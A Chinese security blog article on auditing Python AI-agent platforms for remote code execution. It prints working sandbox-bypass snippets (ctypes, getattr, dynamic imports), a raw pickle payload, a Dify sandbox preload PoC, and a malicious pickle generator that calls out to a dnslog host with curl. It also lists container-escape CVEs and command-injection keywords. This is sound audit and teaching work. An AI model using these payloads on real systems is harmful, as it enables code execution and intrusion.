文章总结： 本文介绍了AI智能体平台的白盒审计思路，重点关注远程代码执行漏洞。文章分析了沙箱环境的安全性，包括直接执行、关键词过滤和模块导入限制等不安全实现方式及绕过方法；探讨了pickle反序列化和PyTorch组件相关漏洞；并列举了命令注入审计中需要关注的关键词。建议在审计AI智能体平台时优先检查代码执行环境隔离情况，并关注反序列化和命令注入风险。
综合评分： 91
文章分类： 代码审计,漏洞分析,AI安全,WEB安全,红队
AI智能体平台白盒审计思路（RCE篇）
原创
tdragon6
平安集团安全应急响应中心
2025年8月7日 12:00
上海
随着 AI 大模型热度增长，出现了很多智能体平台，它能够帮助个人或企业高效地编排属于自己的 AI 应用，从而提升工作效率，但随之也带来了很多的安全风险，因此 AI 智能体平台的安全评估至关重要。
因 AI 智能体平台大多以 Python 语言开发，本篇就以 Python 语言开发的智能体平台为案例，进行思路整理和分析。
0x01 安全的沙箱或隔离环境
1、判断是否存在安全的沙箱或隔离环境
智能体平台工作流和插件功能点一般都会集成脚本语言代码执行功能，如果代码执行环境没有使用安全的沙箱或容器隔离环境，则会造成远程代码执行风险，因此在该类平台代码审计时优先检查这一部分的处理是否安全。
定位这部分逻辑代码可以先抓包获取所搭建环境对应代码执行的功能 API 接口路由（工作流和插件均不能遗漏），然后到代码中搜索路由并一层层往下审计调用链，定位到最终代码执行的逻辑，往往存在这几种情况。
1.1、直接执行
代码逻辑中直接调用 subprocess 或其他命令执行类模块或函数执行用户传递的代码，并返回执行结果，这种场景有时会使用一个低权限用户去执行，但依旧存在严重的安全风险，相当于在宿主机上执行命令。
此处附上历史真实案例，这个案例中似乎使用了沙箱，但其实只是在宿主机的一个单独目录中以一个低权限用户执行一个 Python 脚本，脚本的内容是用户传递的代码，因此造成远程代码执行漏洞。
1.2、关键词过滤
有些场景会在直接执行的基础上对一些敏感关键词进行过滤，比如过滤 os.system、subprocess、open和 popen等，但这种限制和过滤也是不安全的，依旧可以绕过，以下介绍几种思路，可以结合实际情况和同类思路进行绕过。
1.2.1、使用未过滤模块进行命令执行
比如可以使用 C 库函数执行命令，下面以 unix 环境中调用 so 执行命令举例（平安内部智能体平台真实案例）：
import ctypes
# 获取 libc 库libc = ctypes.CDLL("libc.so.6")
# 定义要执行的命令command = b"ls"
# 使用 libc 的 system 函数执行命令libc.system(command)
又比如可以通过反序列化触发 RCE：
import pcikle
payload = b'\x80\x04\x95(\x00\x00\x00\x00\x00\x00\x00\x8c\nsubprocess\x94\x8c\x05Popen\x94\x93\x94]\x94\x8c\x06whoami\x94a\x85\x94R\x94.'
pickle.loads(payload)
1.2.2、使用 getattr 调用对象
使用 getattr 结合字符串拼接的方式获取调用对象，绕过关键词黑名单，比如服务端过滤了 open函数，则可以使用这种方式调用：
nepo = getattr(__builtins__, 'op' + 'en')
with nepo('xxx', 'r', encoding='utf-8') as f: print(f.read())
1.3、模块导入限制
有些场景会限制用户导入模块，这种情况也可以使用动态导入等其他方式绕过，例如以下两种方式：
__import__('os').system('whoami')
import importlib
# 动态导入 os 模块os_module = importlib.import_module('os')
# 现在可以使用 os 模块中的函数和属性print(os_module.system('whoami'))
2、判断沙箱或隔离环境是否完备且安全
当定位代码执行逻辑代码后发现并不是上述那样直接在本地调用库或函数，而是通过调用沙箱或隔离环境执行代码时，需要审计这些环境是否安全，往往存在以下几种情况。
2.1、通过 API 调用分离沙箱
这种场景下往往会有一个单独的沙箱服务，主程序通过将用户传递的代码封装至沙箱执行 API 的请求体内请求，获取远程沙箱的响应结果，此时需要审计沙箱的 API 调用逻辑，是否确保了沙箱内代码执行的安全性，特别需要注意是否存在预加载 preload字段，往往此处是沙箱逃逸的关键，以 dify 历史漏洞举例。
Dify 沙箱服务中，允许攻击者在沙盒环境中注入代码并以 root 权限执行任意 Python 代码，这是由于 preload字段并没有在安全的沙箱环境中执行所导致的，poc 演示代码如下：
import requestsimport jsonurl = "http://sandbox:8194/v1/sandbox/run"headers = { "Content-Type": "application/json", "X-Api-Key": "dify-sandbox"}
data = { "language": "python3", "code": "import time; time.sleep(3)", "preload": "import os; os.system(\"whoami\")", "enable_network": True}response = requests.post(url, headers=headers, data=json.dumps(data))print(response.status_code)print(response.json())
2.2、创建容器环境执行
这种场景下，当服务端接收到用户输入的代码后，会创建一个容器并在容器中执行并返回结果，此时需要关注容器环境是否存在逃逸问题。
2.2.1、关注 docker 等容器自身安全漏洞
cve-2017-1002101cve-2018-1002100cve-2018-15664 符号链接替换漏洞cve-2019-14271 加载不受信任的动态链接库cve-2019-1002101cve-2019-11246cve-2019-11249cve-2019-11251cve-2019-16884cve-2019-5736 runc 逃逸cve-2020-15257cve-2020-27151kata-escape-2020cve-2021-25741cve-2021-30465cve-2022-0492...
2.2.2、关注操作系统内核漏洞
cve-2016-5195 DirtyCowcve-2017-1000112cve-2020-14386cve-2021-22555cve-2022-0847 DirtyPipe...
2.2.3、关注容器映射类的配置问题
privileged-containermount-docker-sockmount-host-etcmount-host-procfsmount-var-logcap_dac_read_search-containercap_sys_admin-container
2.3、seccomp 沙箱
如果服务端使用 seccomp 类型的沙箱，可能会出现配置问题导致的安全风险。
开发人员在配置 seccomp 白名单时，若对系统调用及其参数的限制不够严格，可能会让恶意代码有可乘之机。例如，Figma 最初对 RenderServer 的文件系统访问限制不足，只是简单地通过配置 seccomp 过滤器来阻止像 openat 这样的系统调用以防止其打开和读取敏感文件，但由于 RenderServer 需要将其输出结果写入指定文件，在处理 Figma 文件时若文件包含恶意输入，攻击者可能利用未充分限制的文件操作相关系统调用，在渲染过程中篡改输出文件或读取其他敏感文件。
同时仅限制系统调用的类型而不检查其参数，可能导致即使限制了危险的系统调用，仍存在安全隐患。比如，对于 write 系统调用，若只允许该调用但未对其写入的内容和长度等参数进行限制，攻击者可能通过构造特殊的写入数据来实现恶意目的。
以一个例子展示配置错误的情况：
import seccomp
def setup_seccomp(): # 初始化 Seccomp 过滤器 filter = seccomp.Sandbox() # 错误配置：允许执行外部命令的系统调用 filter.allow(seccomp.SYS('execve')) return filter
def execute_user_code(user_code): # 设置错误配置的 Seccomp 沙箱 filter = setup_seccomp() try: # 执行用户提供的代码 exec(user_code, globals()) except Exception as e: print(f"Error: {e}")
0x02 反序列化
AI 智能体平台在导入导出配置、解析文档和 pytorch 功能时经常会用到序列化和反序列化相关的功能，因此此处也存在高危风险。
1、pickle 反序列化
定位全局代码中 pickle.loads位置，逐层往上审计调用链，判断反序列化内容是否可由用户外部控制，如果可以由外部用户控制且没有有效的安全限制，则存在反序列化漏洞。
例如发现某**存在反序列化操作，且内容是通过某个文件内容传入，似乎可控
往上查找调用链，发现在 Application 类中调用，且通过 post 直接传递用户自定义的文件内容。
继续往上查找调用链路由，发现/import 路由可直接访问，至此闭环。
测试漏洞是否可以利用，生成反序列化 payload。
import pickleimport subprocessclass EvilPickle: def __reduce__(self): return (subprocess.Popen, (['curl', 'd44b0418.log.dnslog.sbs'],))def generate_exploit(): evil_instance = EvilPickle() payload = pickle.dumps(evil_instance) return payloaddef save_exploit(): payload = generate_exploit() print(payload) with open(r'C:\Users\admin\Downloads\e.txt', 'wb') as f: f.write(payload)if __name__ == "__main__": save_exploit()
发送 payload 数据包
成功收到 dns 响应，漏洞利用成功。
2、pytorch 组件
pytorch在 AI 应用平台中使用较多，因此需要关注该组件相关的历史漏洞。
2.1、CVE-2024-48063
- 漏洞成因 ：在 PyTorch 2.4.1 及更早版本中，RemoteModule 默认缺少鉴权机制，攻击者可能利用 RPC 机制向服务端部署恶意序列化模型调用模块，从而远程执行任意代码。
- 攻击原理 ：PyTorch RemoteModule 模块反序列化时，没有正确验证或清理输入数据。攻击者可以构造恶意的序列化对象，在反序列化过程中触发恶意代码执行。例如攻击者可以定义一个包含恶意
reduce方法的模型类，当该序列化对象被反序列化时，触发reduce方法执行任意代码。
2.2、CVE-2025-32434
- 漏洞成因 ：PyTorch 2.5.1 及更早版本中的 torch.load() 函数在加载 tar 格式模型文件时，即使设置了安全配置参数 weights_only=True，仍可能通过 pickle 反序列化执行任意代码。
- 攻击原理 ：虽然 weights_only=True 参数旨在限制反序列化仅限于张量和原始类型，但攻击者可以创建恶意模型文件来绕过这些限制。攻击者可以通过构造特殊的 tar 格式模型文件，其中包含恶意的序列化对象，当使用 torch.load() 加载该模型文件时，即使设置了 weights_only=True，仍可能触发反序列化漏洞，执行恶意代码。
0x03 命令注入
和传统代码审计思路一样，需要关注代码中可能存在的命令注入问题，然后通过调用链分析，判断命令主体内容是否可以由外部用户控制，在 python 智能体平台项目中，常碰到需要关注的关键词如下：
os.systemos.popenos.xxxsubprocess.popensubprocess.runsubprocess.xxxpickle.loadspytorch.loadsevalexecparamiko的远程ssh执行
 预 告：
· AI智能体平台白盒审计思路（权限控制篇）
· AI智能体平台白盒审计思路（SSRF篇）
…精彩继续，敬请关注本微信公众号
点赞、分享、推荐，感谢你的阅读▼
▼ 点击阅读原文，进入官网
免责声明：
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。
任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。
本文转载自：平安集团安全应急响应中心 tdragon6《AI智能体平台白盒审计思路（RCE篇）》